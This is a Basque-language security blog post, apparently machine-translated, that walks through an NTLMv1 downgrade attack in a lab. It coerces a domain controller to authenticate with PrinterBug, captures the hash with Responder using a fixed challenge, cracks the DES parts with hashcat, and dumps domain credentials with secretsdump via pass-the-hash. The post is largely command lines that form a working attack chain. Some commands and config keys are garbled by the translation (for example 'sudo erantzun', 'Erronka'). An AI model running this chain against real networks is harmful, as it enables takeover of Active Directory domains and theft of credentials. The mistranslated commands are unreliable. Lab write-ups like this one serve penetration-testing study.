NTLMv1 Downgrade attack

NTLMv1 mailaz jaitsiko erasoa

Celia Catalán


NetNTLMv1 maila jaitsi 

Aurreko argitalpenetan komentatu dugun bezala, autentifikazioa behartu eta biktimaren makinaren erabiltzailearen pasahitzaren NetNTLM hash-a lortu ondoren, batez ere, hiru ustiapen agertoki ezberdin aurkezten zaizkigu, kasu honetan hitz egingo dugu: 

  • NetNTLMv1 maila jaitsi  

Egoera horretan, erasotzaileak NetNTLMv1 autentifikazio-protokoloaren erabilera aprobetxatuko du sarean. 

Autentifikazio-protokolo hau abusatzeko, "Coerce Authentication" jasaten duen zerbitzariak "LmCompatibilityLevel" gakoa izan behar du erregistroan konfiguratuta eta 2 edo gutxiagoko balioa izan behar du. 

Hau konfigura daiteke LM eta NTLM erantzunak bidaltzea gaituta "Sarearen segurtasuna: LAN kudeatzailea autentifikazio maila" izeneko talde-politikan. 


Laburpen 

Eraso honen ustiapen-prozesua laburki azaltzen da jarraian: 

  1. Lortu NetNTLMv1 Erantzun bat domeinu-kontrolatzailearen makina-kontutik Coerce Authentication ahultasunarekin autentifikazioa behartuz. 
  2. Lortutako NetNTLMv1 hash-a DES moduan crack daitekeen formatu batean eraldatu. 
  3. Crack hash-aren zati desberdinak eta lortu DES gakoak horietako bakoitzarentzat. 
  4. Lortutako DES gakoak NTLM formatura eraldatu. 
  5. Egin DCSync bat Pass The Hash bidez NTDS lortzeko, aurreko urratsetan lortutako NTLM hash-a erabiliz. 

Proba Laborategiko Osagaiak 

Jarraian, entsegu-laborategian aurkitutako aktiboak labur deskribatuko ditugu: 

  • Attack_Machine – Makina honek Kali Linux bati egiten dio erreferentzia nondik erasoa burutuko dugun “Coerce Authentication” bat lortzeko eta softwarea entzuten edukitzeko makina erabiltzailearen hash NetNTLMv1 formatuan lortzeko. 
  • DC.corp.lab - "corp.lab" domeinua konfiguratuta duen domeinu-kontrolatzailea, erasoaren biktima izango dena. "Bob" izeneko erabiltzailea pribilegiorik gabeko domeinu horretan konfiguratuko da erasoa bere konpromisotik emulatzeko. Zerbitzari horri goian aipatutako talde-politika aplikatuko zaio. 

Erasoaren garapena 

NetNTLMv1 Erantzun bat lortzea 

Erasoa hasteko, egiaztatu beharko dugu domeinu-kontrolatzailea " hemen " azaltzen den "Coerce Authentication" erasoren baten aurrean zaurgarria den. Kasu honetan, ustiapena MS-RPRN izeneko MS-RPC abusua erabiliz egingo da Printer Bug script-a erabiliz. 

DC-k MS-RPC gaituta dagoela egiaztatu behar duzu komando hau erabiliz: 


Terminala

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      



Domeinu-kontrolatzailea "Derrigorrezko autentifikazioa" esandakoaren zaurgarria dela egiaztatu ondoren, erasotzailearen makina konfiguratu behar da. Horretarako, Responder izeneko softwarearen konfigurazio fitxategia editatu behar duzu, honela:


Terminala

                sudo nano /etc/responder/Responder.conf 

				SMB = Aktibatuta 

				HTTP = Aktibatuta 

				;Erronka = Ausazkoa 

			Erronka = 1122334455667788 

      


Erantzunaren konfigurazio fitxategia editatu ondoren, honela exekutatu behar da entzun dezan. –lm banderak sistema eragilearen zenbait bertsiotan beherakatzera behartzen du. 


Terminala

                sudo erantzun -I eth0 -wv --lm  

      

"Erantzuntzailea" martxan dagoenean, "Coerce Authentication" ustiatu egingo da.


Terminala

                'python3 printerbug.py "CORP/bob:pasahitza" @dc.corp.lab attack_machine'

      

Domeinu-kontrolatzailearen makinaren erabiltzailea erasotzailearen makinaren aurka autentifikazioa behartu ondoren, erabiltzaile horren NetNTLMv1 hash-a lortzen da. 


Lortutako NetNTLMv1 hash-a pitzatu daitekeen formatu batean eraldatu 

Esan bezala, NetNTLMv1 hash-a lortu ondoren, DES moduan crack daitekeen formatu batean eraldatu behar da. Horretarako, ntlmv1-multi tresna erabiliko da, hash-a behar bezala crack egiteko jarraitu beharreko urratsak emango dituena. 


Terminala

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Aurreko pantaila-argazkian ikus daitekeen moduan, tresnak berak erakusten du nola kalkulatu NTLM hash-aren azken 4 digituak, eta, alde batetik, DES formatura crack behar diren hashak eskaintzen ditu, baita behar den komandoa ere. exekutatu izan.  

Crack hash-aren zati desberdinak eta lortu horietako bakoitzaren DES gakoak 

Hori dela eta, lehenik eta behin, NTLM hash-aren azken 4 zifren kalkulua hashcat tresna erabiliz honela egingo da:


Terminala

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin 'ntlmv1.py-rekin lortutako irteera' 

      

Bestalde, ntlmv1-multi tresnak eskaintzen dituen bi hashak DES formatura pitzatuko dira hashcat cracking tresna erabiliz komando honekin: 


Terminala

          hashcat.exe -m 14000 -a 3 -1 karaktere multzo/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1       

      

OHARRA: Hashcat-en bertsio zaharretan, DES_FULL.charset "charset" erabiltzen da, bertsio eguneratuetan DES_full.hcchr erabiltzen da. 

Cracking prozesuaren ondoren, DES gako hauek lortzen dituzu: 

Lortutako DES gakoak NTLM formatura eraldatu: 

Bi DES gakoak lortu ondoren, beste hashcat tresna batzuk erabili behar dira, gako hauek NTLM formatura eraldatzeko aukera emango dutenak. 

Terminala

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Egin DCSync bat NTDS lortzeko Pass The Hash erabiliz:

Domeinu-kontrolatzailearen makinaren erabiltzailearen NTLM hash-aren zati guztiak lortu ondoren, posible da DCSync bat egin eta domeinuaren NTDS lortu impacket 's secretsdump.py tresna erabiliz, Pass The Hash erasoa eginez: 

Terminala

                Python3 secretsdump.py -just-dc-ntlm -hashes 'hash_ntlm' 'corp.lab/dc$@dc.corp.lab''  

      


Dimas Pastor , Zerolynx Taldeko analista seniorra .

Itzuli blogera

Utzi iruzkin bat

Kontuan izan iruzkinak argitaratu aurretik onartu behar direla.